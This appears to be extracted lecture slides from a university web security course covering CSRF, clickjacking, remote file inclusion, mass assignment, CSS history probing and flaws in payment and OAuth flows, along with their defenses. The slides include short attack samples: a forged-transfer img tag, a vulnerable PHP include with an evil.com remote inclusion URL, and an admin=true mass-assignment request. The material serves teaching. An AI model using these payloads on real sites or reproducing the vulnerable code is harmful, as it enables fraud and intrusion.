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Cross Site Request Forgery (CSRF)
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Recall: Session Cookies

ServerBrowser

Sent on 
every page 
request...

...intentional 
or not
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bank.com

evil.com

Authenticates with bank.com

/transfer?amount=500&dest=grandson

Cookie checks out! 
Sending $500 to grandson
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bank.com

evil.com

/transfer?amount=10000&dest=evilcorp

Cookie checks out! 
Sending $10000 to EvilCorp

<img src=“http://bank.com/
transfer?amount=10000&id=evilcorp”>

$10000



Cross Site Request Forgery (CSRF)

A CSRF attack causes the end user browser to 
execute unwanted actions on a web 
application in which it is currently 
authenticated.
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Another Example: Home Router
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Home router
Attacker can enable 
remote admin, reset 

password, etc.

Browser

Attacker

1. configure router

2. visits malicious site

50% of home 
routers have 

default or no pw*

* source: “Drive-By Pharming”, Stamm et al. Symantec report, 2006



CSRF Defenses

• Secret Validation Token

• Referer Validation

• Origin Validation

<input type=hidden value=23a3af01b>

Referer: http://www.facebook.com/home.php

* Referrer is misspelled as “referer” in HTTP header field

Origin: http://www.facebook.com/home.php

Not designed for CSRF Protection



Secret Token Validation

• Requests include a hard-to-guess secret
– Unguessability substitutes for unforgeability

• Variations
– Session identifier

– Session-independent token

– Session-dependent token

– HMAC of session identifier

<input type=hidden value=23a3af01b>



Secret Token Validation



Referrer Validation

HTTP Origin header

✓ Origin: http://www.facebook.com/

✗ Origin: http://www.attacker.com/evil.html

☐ Origin: 

Lenient: Accept when not present (insecure)
Strict: Don’t accept when not present (secure)

Origin: http://www.facebook.com/home.php



From HW2: The CRIME Attack
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Malicious Script that sends 
forced requests to good.com

Forced request to good.com 
containing session token + some 
attacker controlled input

Compressed, then
Encrypted 

Eavesdrop 
on packet size

evil.com

good.com

CSRF Defenses do 
not prevent this!



Web Frameworks
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Web Frameworks
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• Automatic CSRF Tokens

• Don’t need to actually write SQL 
queries

• Automatic XSS Sanitization

<input type=hidden value=23a3af01b>

Post.find(params[:id]) =>
“select * from posts where id=‘”
+ safe(params[:id]) + “’”



Web Frameworks – XSS Sanitization

Rails HTML Templating:
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<html>
<body>

Welcome to the site <%= user.username %>!
</body>
</html>

<html>
<body>

Welcome to the site &lt;b&gt;jburket&lt;/b&gt;!
</body>
</html>

user.username = “<b>jburket</b>”



Web Frameworks
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Increased automation in web frameworks 
can introduce new vulnerabilities 



Remote File Inclusion
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…
<?php

if (isset( $_GET['COLOR'] ) ){
include( $_GET['COLOR'] . '.php' );

}
?>
…

Example from wikipedia.org/File_inclusion_vulnerability

colors.php:

“/colors.php?COLOR=red” will include contents of red.php

“/colors.php?COLOR=blue” will include contents of blue.php

“/colors.php?COLOR=/hidden/dangerous” will include /hidden/dangerous.php

“/colors.php?COLOR=http://evil.com/bad” will include http://evil.com/bad.php

Perfect for executing an XSS attack

Local File 
Inclusion



Mass Assignment Vulnerabilities

88Images from : http://asciicasts.com/episodes/206-action-mailer-in-rails-3

jburket

jburket@cmu.edu

users_new.rb:
…
form_data = params[:post]
User.new(form_data)
…

form_data = 
{:name => “jburket”, 

:email => “jburket@cmu.edu”}



Mass Assignment Vulnerabilities

89Images from : http://asciicasts.com/episodes/206-action-mailer-in-rails-3

jburket

jburket@cmu.edu

users_new.rb:
…
form_data = params[:post]
User.new(form_data)
…

form_data = 
{:name => “jburket”, 

:email => “jburket@cmu.edu”,
:admin => true}

POST /new_user HTTP/1.1
Host: railsapp.com
name=jburket&email=jburket@cmu.edu

POST /new_user HTTP/1.1
Host: railsapp.com
name=jburket&email=jburket@cmu.edu
&admin=true

Modify

Admin user created!



Malicious Servers and Browser Security
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CSS History Probing
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Image from http://matthewjamestaylor.com/blog/experimenting-with-visited-links

http://www.google.com
http://www.facebook.com
http://www.twitter.com
http://www.facebook.com/group?id=12345
http://www.facebook.com/group?id=98765

evil.com: Client has visited Google, 
Facebook and the 

Facebook Group 12345

Client has NOT visited 
Twitter or Facebook 

Group 98765
Attacker uses JavaScript + CSS to check which 

links are visited



CSS History Probing
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Weinberg, Zachary, et al. "I still know what you visited last summer: Leaking 
browsing history via user interaction and side channel attacks." Security and 
Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011.

Work done at CMU!



How does the “Like” button work?
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Like button knows about your Facebook session!

Appears in “Mashup” 
with content from 

other domains



How does the “Like” button work?

Like Button Requirements:

• Needs to access cookie for domain facebook.com

• Can be deployed on domains other than facebook.com

• Other scripts on the page should not be able to click Like 
button
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We need to isolate the Like button from the rest of the page



IFrames
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Parent page

Embedded page

Any page can be embedded



IFrames
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Pages share same domain Pages do not share same domain

The same-origin policy states that the DOM from one 
domain should not be able to access the DOM from a 
different domain 
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How does the “Like” button work?

<iframe id="f5b9bb75c" name="f2f3fdd398" scrolling="no" 
title="Like this content on Facebook." class="fb_ltr" 
src="http://www.facebook.com/plugins/like.php?api_key=11665616
1708917..." style="border: none; overflow: hidden; height: 
20px; width: 80px;"></iframe>

The same-origin policy prevents the host from clicking the 
button and from checking if it’s clicked
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The same-origin policy prevents malicious 
sites from clicking their own “Like” button

What if the site can trick you into 
clicking it yourself?



Clickjacking
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Click for a FREE 
iPad!

Clickjacking occurs when a malicious site 
tricks the user into clicking on some element 
on the page unintentionally.

Slides modeled after presentation by Lin-Shung Huang at USENIX 2012.
Paper: Lin-Shung Huang, Alex Moshchuk, Helen J. Wang, Stuart Schechter, and Collin Jackson. 2012. Clickjacking: attacks and defenses. 
In Proceedings of the 21st USENIX conference on Security symposium (Security'12). USENIX Association, Berkeley, CA, USA, 22-22.



Clickjacking

100

Click for a FREE 
iPad!

Fake CursorReal Cursor



Clickjacking
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Click for a FREE 
iPad!

Fake CursorReal Cursor Hidden

This is the button that gets clicked!



Advanced Clickjacking
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Lin-Shung Huang, Alex Moshchuk, Helen J. Wang, Stuart Schechter, and Collin Jackson. 2012. Clickjacking: 
attacks and defenses. In Proceedings of the 21st USENIX conference on Security symposium (Security'12). USENIX 
Association, Berkeley, CA, USA, 22-22.

Malicious site now has access to your webcam!

Also work done at CMU!



Clickjacking - Mitigation
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Adding a delay between a button appearing and 
being usable helps prevent Clickjacking



Using Frames for Evil
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If pages with 
sensitive buttons 
can be put in an 

IFrame, then it may 
be possible to 

perform a 
Clickjacking attack



Framebusting
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Framebusting is a technique where a page stops 
functioning when included in a frame.

<script type="text/javascript">
if(top != self) top.location.replace(self.location);

</script>

If the page with this script is embedded in a frame, 
then it will escape out of the frame and replace the 

embedding page
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Don’t roll 
your own 

crypto

Don’t write 
your own 

sanitization

Don’t write 
your own 

framebusting
solution



Framebusting is Complicated

Fails if page is embedded two Iframes deep

if(top.location!=self.location) {
parent.location=self.location;

}

<script type="text/javascript">
if(top != self) top.location.replace(self.location);

</script>

If the embedding page sets the onBeforeUnload event, the script can be blocked

If the embedding page makes lots of requests 
that return “204 – No Content” responses, we 

don’t even need the dialog

Rydstedt, Gustav, et al. "Busting frame busting: a study of 
clickjacking vulnerabilities at popular sites." IEEE Oakland Web 2 
(2010).



Framebusting is Complicated
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<style>
body { display: none; }

</style>

<script>
if (self == top) {

document.getElementsByTagName("body")[0]
.style.display = 'block';

} else {
top.location = self.location;

}
</script>

Rydstedt, Gustav, et al. "Busting frame busting: a study of clickjacking vulnerabilities at popular sites." IEEE Oakland 
Web 2 (2010).

Does this work? Who Knows?
Javascript-based Framebusting is a just a hack. 

Is there a better way?
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X-Frame-Options Header

DENY: 
The page cannot be embedded in a frame

SAMEORIGIN: 
The page can only be framed on a page with the same 
domain

ALLOW-FROM origin:
The page can only be framed on a page with a specific 
other domain

Can limit 
flexibility and 

might not work 
on older browsers



Multi-Party Web Applications
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Party A Party B

Client

Same-origin policy 
won’t stop parties from 
communicating directly 

to share information

This can be good:
Single Sign-On

Multiparty E-Commerce
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Disclaimer: The exact details of the following 
protocols may not be 100% correct (i.e. 
Facebook might use a slightly different 

implementation than presented here). Our goal 
is to get a feel for how these systems work.

This section won’t be on the test. Something similar may 
come up in the homework, however.



Multi-Party E-Commerce Applications
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Client

I’d like the $40 Vest

Redirect to 
paypal.com/pay
?id=123&total=40

/pay?id=123&total=40

Here’s my $40

Cool

Order 123 is completed

Shipping you 
your vest

Give me $40

Wang, Rui, et al. "How to shop for free online--Security 
analysis of cashier-as-a-service based Web stores." Security 
and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011.



Multi-Party E-Commerce Applications

114

Client

I’d like the $40 Vest

Redirect to 
paypal.com/pay
?id=123&total=40

/pay?id=123&total=1

Here’s my $1

Cool

Order 123 is completed

Shipping you 
your vest

Give me $1

Wang, Rui, et al. "How to shop for free online--Security 
analysis of cashier-as-a-service based Web stores." Security 
and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011.



Multi-Party E-Commerce Applications
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Client

I’d like the $40 Vest

Redirect to 
paypal.com/pay:
- id=123
- total=40
- callback = jimmy.com
- Signed by Jimmy

Redirect to 
paypal.com/pay:
- id=123
- total=40
- callback = jimmy.com
- Signed by Jimmy

Here’s my $40

Redirect to jimmy.com
- total = 40
- Paid
- Signed by PayPal

Give me $40

paypal.com/pay:
- total=40
- Signed by PayPal

Signature checks out.
Sending you your vest.

$40

Wang, Rui, et al. "How to shop for free online--Security 
analysis of cashier-as-a-service based Web stores." Security 
and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011.



Multi-Party E-Commerce Applications
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Eve

I’d like the $40 Vest

Redirect to 
paypal.com/pay:
- id=123
- total=40
- callback = jimmy.com
- Signed by Jimmy

Redirect to 
paypal.com/pay:
- id=123
- total=40
- callback = jimmy.com
- Signed by Eve’s Store

Here’s my $40

Redirect to jimmy.com
- total = 40
- Paid
- Signed by PayPal

Give me $40

paypal.com/pay:
- total=40
- Signed by PayPal

Signature checks out.
Sending you your vest.

Eve makes
store linked 
to PayPal

$40

Wang, Rui, et al. "How to shop for free online--Security 
analysis of cashier-as-a-service based Web stores." Security 
and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011.



Single Sign-On: OAuth
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Alice

I’d like to sign in 
with Facebook

Redirect to Facebook
(include callback URL)

and identifier Z
Give your permission 

to Udacity?

Yeah

OK. Here’s a special token 
“X”. Redirect to callback 
with identifier Z

Here’s the token “X” 
for user Z

Who has token “X”? My secret is Y

Facebook secret: Y

It’s Alice. She has 5 friends.

Z, callback

Z linked to Alice’s session Knows Udacity’s
secret is Y

Z is authenticated as Alice

OAuth Security Advisory: 2009.1



Single Sign-On: OAuth
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Alice

I’d like to 
sign in with 
Facebook

Redirect to Facebook
(include callback URL)

and identifier Z

Give your permission 
to Udacity?

Huh? Whatever

OK. Here’s a 
special token “X”. 
Redirect to 
callback with 
identifier Z

Here’s the token “X” 
for user Z

Who has token “X”? My secret is Y

Facebook secret: Y

It’s Alice. She has 5 friends.

Z, callback

Z linked to Eve’s session Knows Udacity’s
secret is Y

Eve is authenticated as Alice

Eve

Hey Alice! 
Check out 
this URL!

Type of Session Fixation Attack – Fixed in OAuth 2.0

OAuth Security Advisory: 2009.1
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Questions?


